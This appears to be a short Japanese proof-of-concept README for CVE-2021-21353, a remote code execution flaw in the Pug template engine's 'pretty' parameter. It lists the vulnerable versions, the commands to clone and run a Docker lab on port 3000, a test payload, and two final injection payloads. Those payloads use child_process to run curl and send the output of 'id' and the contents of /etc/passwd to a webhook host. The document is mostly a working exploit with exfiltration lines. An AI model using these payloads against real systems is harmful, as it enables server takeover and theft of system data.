
CVE番号 : cve-2021-21353
CVSSスコア : 8.1
< 脆弱なバージョン >
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0<= pug-code-gen version < 3.0.2
git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up
※ 3000番ポートでアクセス可能
ペイロードテスト
?pretty=');console.log('executed');//
最終ペイロード
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('